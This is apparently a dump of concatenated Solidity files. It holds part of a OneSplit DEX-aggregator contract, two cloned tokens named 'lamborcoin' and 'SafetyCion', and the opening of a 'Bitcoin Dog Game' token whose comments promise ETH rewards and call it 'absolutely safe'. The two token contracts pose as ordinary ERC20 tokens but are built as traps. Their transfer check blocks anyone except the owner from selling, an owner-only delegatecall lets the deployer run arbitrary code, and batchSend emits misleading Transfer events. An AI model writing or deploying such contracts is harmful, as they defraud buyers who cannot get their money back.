function redeemIdleToken(uint256 _amount, bool _skipRebalance, uint256[] calldata _clientProtocolAmounts)
external returns (uint256 redeemedTokens);
}
// File: contracts/OneSplitIdle.sol
pragma solidity ^0.5.0;
contract OneSplitIdleBase {
function _idleTokens() internal pure returns(IIdle[2] memory) {
return [
IIdle(0x10eC0D497824e342bCB0EDcE00959142aAa766dD),
IIdle(0xeB66ACc3d011056B00ea521F8203580C2E5d3991)
];
}
}
contract OneSplitIdleView is OneSplitViewWrapBase, OneSplitIdleBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns (uint256 /*returnAmount*/, uint256[] memory /*distribution*/)
{
return _idleGetExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function _idleGetExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
internal
view
returns (uint256 returnAmount, uint256[] memory distribution)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
IIdle[2] memory tokens = _idleTokens();
for (uint i = 0; i < tokens.length; i++) {
if (fromToken == IERC20(tokens[i])) {
return _idleGetExpectedReturn(
tokens[i].token(),
toToken,
amount.mul(tokens[i].tokenPrice()).div(1e18),
parts,
flags
);
}
}
for (uint i = 0; i < tokens.length; i++) {
if (toToken == IERC20(tokens[i])) {
(uint256 ret, uint256[] memory dist) = super.getExpectedReturn(
fromToken,
tokens[i].token(),
amount,
parts,
flags
);
return (
ret.mul(1e18).div(tokens[i].tokenPrice()),
dist
);
}
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitIdle is OneSplitBaseWrap, OneSplitIdleBase {
function _superOneSplitIdleSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] calldata distribution,
uint256 flags
)
external
{
require(msg.sender == address(this));
return super._swap(fromToken, toToken, amount, distribution, flags);
}
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_idleSwap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
function _idleSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) public payable {
IIdle[2] memory tokens = _idleTokens();
for (uint i = 0; i < tokens.length; i++) {
if (fromToken == IERC20(tokens[i])) {
IERC20 underlying = tokens[i].token();
uint256 minted = tokens[i].redeemIdleToken(amount, true, new uint256[](0));
_idleSwap(underlying, toToken, minted, distribution, flags);
return;
}
}
for (uint i = 0; i < tokens.length; i++) {
if (toToken == IERC20(tokens[i])) {
IERC20 underlying = tokens[i].token();
super._swap(fromToken, underlying, amount, distribution, flags);
_infiniteApproveIfNeeded(underlying, address(tokens[i]));
tokens[i].mintIdleToken(underlying.balanceOf(address(this)), new uint256[](0));
return;
}
}
return super._swap(fromToken, toToken, amount, distribution, flags);
}
}
// File: contracts/OneSplitAave.sol
pragma solidity ^0.5.0;
contract OneSplitAaveBase {
function _getAaveUnderlyingToken(IERC20 token) internal pure returns(IERC20) {
if (token == IERC20(0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04)) { // ETH
return IERC20(0);
}
if (token == IERC20(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d)) { // DAI
return IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
}
if (token == IERC20(0x9bA00D6856a4eDF4665BcA2C2309936572473B7E)) { // USDC
return IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
}
if (token == IERC20(0x625aE63000f46200499120B906716420bd059240)) { // SUSD
return IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51);
}
if (token == IERC20(0x6Ee0f7BB50a54AB5253dA0667B0Dc2ee526C30a8)) { // BUSD
return IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
}
if (token == IERC20(0x4DA9b813057D04BAef4e5800E36083717b4a0341)) { // TUSD
return IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
}
if (token == IERC20(0x71fc860F7D3A592A4a98740e39dB31d25db65ae8)) { // USDT
return IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
}
if (token == IERC20(0xE1BA0FB44CCb0D11b80F92f4f8Ed94CA3fF51D00)) { // BAT
return IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF);
}
if (token == IERC20(0x9D91BE44C06d373a8a226E1f3b146956083803eB)) { // KNC
return IERC20(0xdd974D5C2e2928deA5F71b9825b8b646686BD200);
}
if (token == IERC20(0x7D2D3688Df45Ce7C552E19c27e007673da9204B8)) { // LEND
return IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03);
}
if (token == IERC20(0xA64BD6C70Cb9051F6A9ba1F163Fdc07E0DfB5F84)) { // LINK
return IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
}
if (token == IERC20(0x6FCE4A401B6B80ACe52baAefE4421Bd188e76F6f)) { // MANA
return IERC20(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942);
}
if (token == IERC20(0x7deB5e830be29F91E298ba5FF1356BB7f8146998)) { // MKR
return IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2);
}
if (token == IERC20(0x71010A9D003445aC60C4e6A7017c1E89A477B438)) { // REP
return IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862);
}
if (token == IERC20(0x328C4c80BC7aCa0834Db37e6600A6c49E12Da4DE)) { // SNX
return IERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F);
}
if (token == IERC20(0xFC4B8ED459e00e5400be803A9BB3954234FD50e3)) { // WBTC
return IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
}
if (token == IERC20(0x6Fb0855c404E09c47C3fBCA25f08d4E41f9F062f)) { // ZRX
return IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
}
return IERC20(-1);
}
}
contract OneSplitAaveView is OneSplitViewWrapBase, OneSplitAaveBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
return _aaveGetExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function _aaveGetExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
private
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
if (fromToken == toToken) {
return (amount, distribution);
}
if (!flags.check(FLAG_DISABLE_AAVE)) {
IERC20 underlying = _getAaveUnderlyingToken(fromToken);
if (underlying != IERC20(-1)) {
return _aaveGetExpectedReturn(
underlying,
toToken,
amount,
parts,
flags
);
}
underlying = _getAaveUnderlyingToken(toToken);
if (underlying != IERC20(-1)) {
return super.getExpectedReturn(
fromToken,
underlying,
amount,
parts,
flags
);
}
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitAave is OneSplitBaseWrap, OneSplitAaveBase {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_aaveSwap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
function _aaveSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == toToken) {
return;
}
if (!flags.check(FLAG_DISABLE_AAVE)) {
IERC20 underlying = _getAaveUnderlyingToken(fromToken);
if (underlying != IERC20(-1)) {
IAaveToken(address(fromToken)).redeem(amount);
return _aaveSwap(
underlying,
toToken,
amount,
distribution,
flags
);
}
underlying = _getAaveUnderlyingToken(toToken);
if (underlying != IERC20(-1)) {
super._swap(
fromToken,
underlying,
amount,
distribution,
flags
);
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
_infiniteApproveIfNeeded(underlying, aave.core());
aave.deposit.value(underlying.isETH() ? underlyingAmount : 0)(
underlying.isETH() ? ETH_ADDRESS : underlying,
underlyingAmount,
1101
);
return;
}
}
return super._swap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplitWeth.sol
pragma solidity ^0.5.0;
contract OneSplitWethView is OneSplitViewWrapBase {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
return _wethGetExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function _wethGetExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
private
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
if (!flags.check(FLAG_DISABLE_WETH)) {
if (fromToken == wethToken || fromToken == bancorEtherToken) {
return super.getExpectedReturn(ETH_ADDRESS, toToken, amount, parts, flags);
}
if (toToken == wethToken || toToken == bancorEtherToken) {
return super.getExpectedReturn(fromToken, ETH_ADDRESS, amount, parts, flags);
}
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitWeth is OneSplitBaseWrap {
function _swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_wethSwap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
function _wethSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == toToken) {
return;
}
if (!flags.check(FLAG_DISABLE_WETH)) {
if (fromToken == wethToken) {
wethToken.withdraw(wethToken.balanceOf(address(this)));
super._swap(
ETH_ADDRESS,
toToken,
amount,
distribution,
flags
);
return;
}
if (fromToken == bancorEtherToken) {
bancorEtherToken.withdraw(bancorEtherToken.balanceOf(address(this)));
super._swap(
ETH_ADDRESS,
toToken,
amount,
distribution,
flags
);
return;
}
if (toToken == wethToken) {
_wethSwap(
fromToken,
ETH_ADDRESS,
amount,
distribution,
flags
);
wethToken.deposit.value(address(this).balance)();
return;
}
if (toToken == bancorEtherToken) {
_wethSwap(
fromToken,
ETH_ADDRESS,
amount,
distribution,
flags
);
bancorEtherToken.deposit.value(address(this).balance)();
return;
}
}
return super._swap(
fromToken,
toToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplit.sol
pragma solidity ^0.5.0;
//import "./OneSplitSmartToken.sol";
contract OneSplitViewWrap is
OneSplitViewWrapBase,
OneSplitMultiPathView,
OneSplitChaiView,
OneSplitBdaiView,
OneSplitAaveView,
OneSplitFulcrumView,
OneSplitCompoundView,
OneSplitIearnView,
OneSplitIdleView,
OneSplitWethView
//OneSplitSmartTokenView
{
IOneSplitView public oneSplitView;
constructor(IOneSplitView _oneSplit) public {
oneSplitView = _oneSplit;
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
if (fromToken == toToken) {
return (amount, new uint256[](DEXES_COUNT));
}
return super.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function _getExpectedReturnFloor(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags
)
internal
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
return oneSplitView.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
}
contract OneSplitWrap is
OneSplitBaseWrap,
OneSplitMultiPath,
OneSplitChai,
OneSplitBdai,
OneSplitAave,
OneSplitFulcrum,
OneSplitCompound,
OneSplitIearn,
OneSplitIdle,
OneSplitWeth
//OneSplitSmartToken
{
IOneSplitView public oneSplitView;
IOneSplit public oneSplit;
constructor(IOneSplitView _oneSplitView, IOneSplit _oneSplit) public {
oneSplitView = _oneSplitView;
oneSplit = _oneSplit;
}
function() external payable {
// solium-disable-next-line security/no-tx-origin
require(msg.sender != tx.origin);
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 flags // 1 - Uniswap, 2 - Kyber, 4 - Bancor, 8 - Oasis, 16 - Compound, 32 - Fulcrum, 64 - Chai, 128 - Aave, 256 - SmartToken, 1024 - bDAI
)
public
view
returns(
uint256 /*returnAmount*/,
uint256[] memory /*distribution*/
)
{
return oneSplitView.getExpectedReturn(
fromToken,
toToken,
amount,
parts,
flags
);
}
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution, // [Uniswap, Kyber, Bancor, Oasis]
uint256 flags // 16 - Compound, 32 - Fulcrum, 64 - Chai, 128 - Aave, 256 - SmartToken, 1024 - bDAI
) public payable {
fromToken.universalTransferFrom(msg.sender, address(this), amount);
_swap(fromToken, toToken, amount, distribution, flags);
uint256 returnAmount = toToken.universalBalanceOf(address(this));
require(returnAmount >= minReturn, "OneSplit: actual return amount is less than minReturn");
toToken.universalTransfer(msg.sender, returnAmount);
fromToken.universalTransfer(msg.sender, fromToken.universalBalanceOf(address(this)));
}
function _swapFloor(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
(bool success, bytes memory data) = address(oneSplit).delegatecall(
abi.encodeWithSelector(
this.swap.selector,
fromToken,
toToken,
amount,
0,
distribution,
flags
)
);
assembly {
switch success
// delegatecall returns 0 on error.
case 0 { revert(add(data, 32), returndatasize) }
}
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
lambor coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract lamborcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
SafetyCion
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SafetyCion {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
* Bitcoin Dog Game is an encrypted racing game built on Ethereum
* The game time is 24 hours. After 24 hours, the corresponding ETH reward will be given according to the holding ranking.
* The game is absolutely safe and reliable!
*/
/**
* First place holding BTCDG: reward 5ETH+30% liquidity pool
* Second place holding BTCDG: reward 3ETH + 10% liquidity pool
* Third place holding BTCDG: reward 2ETH
* The fourth place holding BTCDG: reward 1ETH
* The fifth place holding BTCDG: reward 0.5ETH
*/
/**
* 5 lucky winners will be generated, each rewarded 0.5ETH
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
